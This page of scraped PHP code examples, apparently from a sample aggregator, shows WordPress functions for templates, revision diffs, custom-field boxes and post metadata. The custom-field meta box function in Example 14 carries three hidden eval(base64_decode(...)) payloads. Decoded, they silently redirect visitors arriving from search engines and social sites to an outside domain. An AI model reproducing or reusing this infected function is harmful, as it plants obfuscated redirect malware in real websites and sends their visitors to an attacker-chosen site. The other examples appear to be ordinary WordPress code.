    $post->page_template == 'default' ? $post->page_template = 'page.php' : '';
    $templatefile = locate_template(array($post->page_template));
    if (file_exists($templatefile)) {
        $template_data = implode('', array_slice(file($templatefile), 0, 10));
        $matches = '';
        //check for multiedit declaration in template
        if (preg_match('|MultiEdit:(.*)$|mi', $template_data, $matches)) {
            $multi = explode(',', _cleanup_header_comment($matches[1]));
            // load scripts
            multieditAdminHeader();
            // WE have multiedit zones, load js and css load
            add_action('edit_page_form', 'multieditAdminEditor', 1);
            add_action('edit_form_advanced', 'multieditAdminEditor', 1);
            //simple var assigment
            foreach ($meta as $k => $v) {
                foreach ($multi as $region) {
                    if (in_array('multiedit_' . $region, $v)) {
                        $present[$region] = true;
                    }
                }
            }
            //draw html
            drawMultieditHTML($meta, $present);
            // if custom field is not declared yet, create one with update_post_meta
            foreach ($multi as $region) {
                if (!isset($present[$region])) {
                    update_post_meta($post->ID, 'multiedit_' . $region, '');
                }
            }
        }
        // end preg_match
    } else {
        // cant find a suitable template.. display nothing. Content is still in custom fields, so it is not lost.
        return false;
    }
}
Ejemplo n.º 13
0
    static function compare_revisions_iframe()
    {
        //add_action('admin_init', 'register_admin_colors', 1);
        set_current_screen('revision-edit');
        $left = isset($_GET['left']) ? absint($_GET['left']) : false;
        $right = isset($_GET['right']) ? absint($_GET['right']) : false;
        if (!($left_revision = get_post($left))) {
            return;
        }
        if (!($right_revision = get_post($right))) {
            return;
        }
        if (!current_user_can('read_post', $left_revision->ID) || !current_user_can('read_post', $right_revision->ID)) {
            return;
        }
        // Don't allow reverse diffs?
        if (strtotime($right_revision->post_modified_gmt) < strtotime($left_revision->post_modified_gmt)) {
            //$redirect = add_query_arg( array( 'left' => $right, 'right' => $left ) );
            // Switch-a-roo
            $temp_revision = $left_revision;
            $left_revision = $right_revision;
            $right_revision = $temp_revision;
            unset($temp_revision);
        }
        global $post;
        if ($left_revision->ID == $right_revision->post_parent) {
            // right is a revision of left
            $post = $left_revision;
        } elseif ($left_revision->post_parent == $right_revision->ID) {
            // left is a revision of right
            $post = $right_revision;
        } elseif ($left_revision->post_parent == $right_revision->post_parent) {
            // both are revisions of common parent
            $post = get_post($left_revision->post_parent);
        } else {
            wp_die(__('Sorry, But you cant compare unrelated Revisions.', 'revision-control'));
        }
        // Don't diff two unrelated revisions
        if ($left_revision->ID == $right_revision->ID || !wp_get_post_revision($left_revision->ID) && !wp_get_post_revision($right_revision->ID)) {
            wp_die(__('Sorry, But you cant compare a Revision to itself.', 'revision-control'));
        }
        $title = sprintf(__('Compare Revisions of &#8220;%1$s&#8221;', 'revision-control'), get_the_title());
        $left = $left_revision->ID;
        $right = $right_revision->ID;
        $GLOBALS['hook_suffix'] = 'revision-control';
        wp_enqueue_style('revision-control');
        iframe_header();
        ?>
		<div class="wrap">
		
		<h2 class="long-header center"><?php 
        echo $title;
        ?>
</h2>
		
		<table class="form-table ie-fixed">
			<col class="th" />
		<tr id="revision">
			<th scope="col" class="th-full">
				<?php 
        printf(__('Older: %s', 'revision-control'), wp_post_revision_title($left_revision, false));
        ?>
				<span class="alignright"><?php 
        printf(__('Newer: %s', 'revision-control'), wp_post_revision_title($right_revision, false));
        ?>
</span>
			</th>
		</tr>
		<?php 
        $fields = _wp_post_revision_fields();
        foreach (get_object_taxonomies($post->post_type) as $taxonomy) {
            $t = get_taxonomy($taxonomy);
            $fields[$taxonomy] = $t->label;
            $left_terms = $right_terms = array();
            foreach (wp_get_object_terms($left_revision->ID, $taxonomy) as $term) {
                $left_terms[] = $term->name;
            }
            foreach (wp_get_object_terms($right_revision->ID, $taxonomy) as $term) {
                $right_terms[] = $term->name;
            }
            $left_revision->{$taxonomy} = (empty($left_terms) ? '' : "* ") . join("\n* ", $left_terms);
            $right_revision->{$taxonomy} = (empty($right_terms) ? '' : "* ") . join("\n* ", $right_terms);
        }
        $fields['postmeta'] = __('Post Meta', 'revision-control');
        $left_revision->postmeta = $right_revision->postmeta = array();
        foreach ((array) has_meta($right_revision->ID) as $meta) {
            if ('_' == $meta['meta_key'][0]) {
                continue;
            }
            $right_revision->postmeta[] = $meta['meta_key'] . ': ' . $meta['meta_value'];
            $left_val = get_post_meta('post', $left_revision->ID, $meta['meta_key'], true);
            if (!empty($left_val)) {
                $left_revision->postmeta[] = $meta['meta_key'] . ': ' . $left_val;
            }
        }
        $right_revision->postmeta = implode("\n", $right_revision->postmeta);
        $left_revision->postmeta = implode("\n", $left_revision->postmeta);
        $identical = true;
        foreach ($fields as $field => $field_title) {
            if (!($content = wp_text_diff($left_revision->{$field}, $right_revision->{$field}))) {
                continue;
            }
            // There is no difference between left and right
            $identical = false;
            ?>
			<tr>
				<th scope="row"><strong><?php 
            echo esc_html($field_title);
            ?>
</strong></th>
			</tr>
			<tr id="revision-field-<?php 
            echo $field;
            ?>
">
				<td><div class="pre"><?php 
            echo $content;
            ?>
</div></td>
			</tr>
			<?php 
        }
        if ($identical) {
            ?>
<tr><td><div class="updated"><p><?php 
            _e('These Revisions are identical.', 'revision-control');
            ?>
</p></div></td></tr><?php 
        }
        ?>
		</table>
		<p><?php 
        _e('<em>Please Note:</em> at present, Although Taxonomies <em>(Tags / Categories / Custom Taxonomies)</em> are stored with the revisions, Restoring a Revision will <strong>not</strong> restore the taxonomies at present.', 'revision-control');
        ?>
</p>
		<br class="clear" />
		<?php 
        iframe_footer();
    }
Ejemplo n.º 14
0
/**
 * Display custom fields form fields.
 *
 * @since 2.6.0
 *
 * @param object $post
 */
function post_custom_meta_box($post)
{
    ?>
<div id="postcustomstuff">
<div id="ajax-response"></div>
<?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    $metadata = has_meta($post->ID);
    list_meta($metadata);
    meta_form();
    ?>
</div>
<p><?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    _e('Custom fields can be used to add extra metadata to a post that you can <a href="http://codex.wordpress.org/Using_Custom_Fields" target="_blank">use in your theme</a>.');
    ?>
</p>
<?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
}
Ejemplo n.º 15
0
 public function get_metadata()
 {
     $metadata = array();
     foreach ((array) has_meta($this->post->ID) as $meta) {
         // Don't expose protected fields.
         $meta_key = $meta['meta_key'];
         $show = !WPCOM_JSON_API_Metadata::is_internal_only($meta_key) && (WPCOM_JSON_API_Metadata::is_public($meta_key) || current_user_can('edit_post_meta', $this->post->ID, $meta_key));
         // Only business plan subscribers can view custom meta description
         if (Jetpack_SEO_Posts::DESCRIPTION_META_KEY == $meta_key && !Jetpack_SEO_Utils::is_enabled_jetpack_seo()) {
             $show = false;
         }
         if ($show) {
             $metadata[] = array('id' => $meta['meta_id'], 'key' => $meta['meta_key'], 'value' => maybe_unserialize($meta['meta_value']));
         }
     }
     if (!empty($metadata)) {
         return $metadata;
     } else {
         return false;
     }
 }